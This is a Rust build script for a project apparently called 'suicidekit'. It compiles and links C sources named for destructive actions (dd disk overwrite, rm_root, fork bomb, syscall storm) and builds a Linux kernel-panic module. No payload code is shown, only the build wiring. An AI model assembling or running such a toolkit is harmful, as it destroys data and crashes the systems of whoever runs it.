summaryrefslogtreecommitdiff
path: root/build.rs
blob: 9d08df3425a973660fcacfbb67d85ad5f35486b5 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
use std::env;
use std::path::PathBuf;
use std::process::Command;

fn main() {
    let src_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap());

    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/_tools.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/_tools.h").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/random_sounds.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/random_sounds.h").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/syscall_storm.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/syscall_storm.h").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/critical/classic/dd.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/critical/classic/dd.h").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/critical/classic/rm_root.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/critical/classic/rm_root.h").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/critical/fork_bomb.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/kern_panic/linux_kmod.c").display());
    println!("cargo:rerun-if-changed={}", src_dir.join("src/non_critical/kern_panic/Makefile").display());

    let mut build = cc::Build::new();
    build
        .warnings(false)
        .flag_if_supported("-std=c11")
        .flag_if_supported("-O3")
        .include(src_dir.join("src/non_critical"))
        .include(src_dir.join("src/critical/classic"))
        .file(src_dir.join("src/non_critical/_tools.c"))
        .file(src_dir.join("src/non_critical/random_sounds.c"))
        .file(src_dir.join("src/non_critical/syscall_storm.c"))
        .file(src_dir.join("src/critical/classic/dd.c"))
        .file(src_dir.join("src/critical/classic/rm_root.c"))
        .file(src_dir.join("src/critical/fork_bomb.c"))
        .file(src_dir.join("src/non_critical/kern_panic/linux_sysrq.c"));

    build.compile("suicidekit_c");

    
    let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
    println!("cargo:rustc-link-search=native={}", out_dir.display());

    println!("cargo:rustc-link-arg=-Wl,--whole-archive");
    println!("cargo:rustc-link-lib=static=suicidekit_c");
    println!("cargo:rustc-link-arg=-Wl,--no-whole-archive");

   
    println!("cargo:rustc-link-lib=asound");
    println!("cargo:rustc-link-lib=X11");
    println!("cargo:rustc-link-lib=pthread");

    #[cfg(target_os = "linux")]
    {
        let kern_panic_dir = src_dir.join("src/non_critical/kern_panic");
        let make_status = Command::new("make")
            .arg("-C")
            .arg(&kern_panic_dir)
            .arg("all")
            .status()
            .expect("ERR: Couldnt run `make`");
        
        if !make_status.success() {
            panic!("ERR: Couldnt build kmod. Make exit code: {:?}", make_status.code());
        }
        
        let ko_file = kern_panic_dir.join("linux_kmod.ko");
        if ko_file.exists() {
            let out_ko = out_dir.join("linux_kmod.ko");
            std::fs::copy(&ko_file, &out_ko)
                .expect("Failed to copy kernel module to OUT_DIR");
            println!("cargo:warning=Cmod builded: {}", out_ko.display());
        }
    }
}